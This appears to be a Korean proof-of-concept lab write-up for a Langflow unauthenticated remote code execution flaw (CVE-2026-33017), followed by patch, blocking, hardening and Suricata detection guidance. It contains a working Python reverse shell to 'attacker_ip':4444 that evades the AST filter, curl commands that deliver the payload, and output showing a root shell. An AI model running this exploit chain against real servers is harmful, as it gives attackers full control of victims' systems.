POST /api/v1/build_public_tmp/{flow_id}/flow

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

threading.Thread(target=_shell, daemon=True).start()

# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

pip install langflow==1.9.1

server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Правила входящего трафика:
  Порт 7860 → разрешить только авторизованные IP (убрать 0.0.0.0/0)

# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

security_opt:
  - seccomp:./langflow-seccomp.json

POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)